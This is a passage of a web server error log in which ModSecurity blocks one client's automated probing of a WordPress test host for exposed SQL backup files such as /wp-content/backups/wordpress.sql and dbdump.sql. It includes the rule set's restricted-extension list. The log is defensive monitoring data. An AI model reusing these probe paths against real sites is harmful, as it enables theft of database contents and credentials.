&quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/wordpress.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLihwAAAAE&quot;]
[Thu Feb 26 01:03:31.454803 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/wordpress.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLihwAAAAE&quot;]
[Thu Feb 26 01:03:31.454970 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/wordpress.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLihwAAAAE&quot;]
[Thu Feb 26 01:03:31.456091 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/data.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXiztgAAAAA&quot;]
[Thu Feb 26 01:03:31.456575 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/data.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXiztgAAAAA&quot;]
[Thu Feb 26 01:03:31.456734 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/data.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXiztgAAAAA&quot;]
[Thu Feb 26 01:03:31.481140 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/data.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXiztwAAAAA&quot;]
[Thu Feb 26 01:03:31.481669 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/data.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXiztwAAAAA&quot;]
[Thu Feb 26 01:03:31.481828 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/data.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXiztwAAAAA&quot;]
[Thu Feb 26 01:03:31.505228 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/data.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizuAAAAAA&quot;]
[Thu Feb 26 01:03:31.505676 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/data.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizuAAAAAA&quot;]
[Thu Feb 26 01:03:31.505824 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/data.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizuAAAAAA&quot;]
[Thu Feb 26 01:03:31.507865 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/dbdump.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLiiAAAAAE&quot;]
[Thu Feb 26 01:03:31.508309 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/dbdump.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLiiAAAAAE&quot;]
[Thu Feb 26 01:03:31.508467 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/dbdump.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLiiAAAAAE&quot;]
[Thu Feb 26 01:03:31.538210 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/database.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizuQAAAAA&quot;]
[Thu Feb 26 01:03:31.538692 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/database.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizuQAAAAA&quot;]
[Thu Feb 26 01:03:31.538849 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/database.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizuQAAAAA&quot;]
[Thu Feb 26 01:03:31.540661 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/dbdump.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLiiQAAAAE&quot;]
[Thu Feb 26 01:03:31.541148 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/dbdump.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLiiQAAAAE&quot;]
[Thu Feb 26 01:03:31.541315 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/dbdump.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLiiQAAAAE&quot;]
[Thu Feb 26 01:03:31.579210 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/database.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizugAAAAA&quot;]
[Thu Feb 26 01:03:31.579714 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/database.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizugAAAAA&quot;]
[Thu Feb 26 01:03:31.579879 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/database.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizugAAAAA&quot;]
[Thu Feb 26 01:03:31.599306 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/dbdump.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLiigAAAAE&quot;]
[Thu Feb 26 01:03:31.599789 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/dbdump.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLiigAAAAE&quot;]
[Thu Feb 26 01:03:31.599989 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/dbdump.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLiigAAAAE&quot;]
[Thu Feb 26 01:03:31.610828 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/wordpress.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizuwAAAAA&quot;]
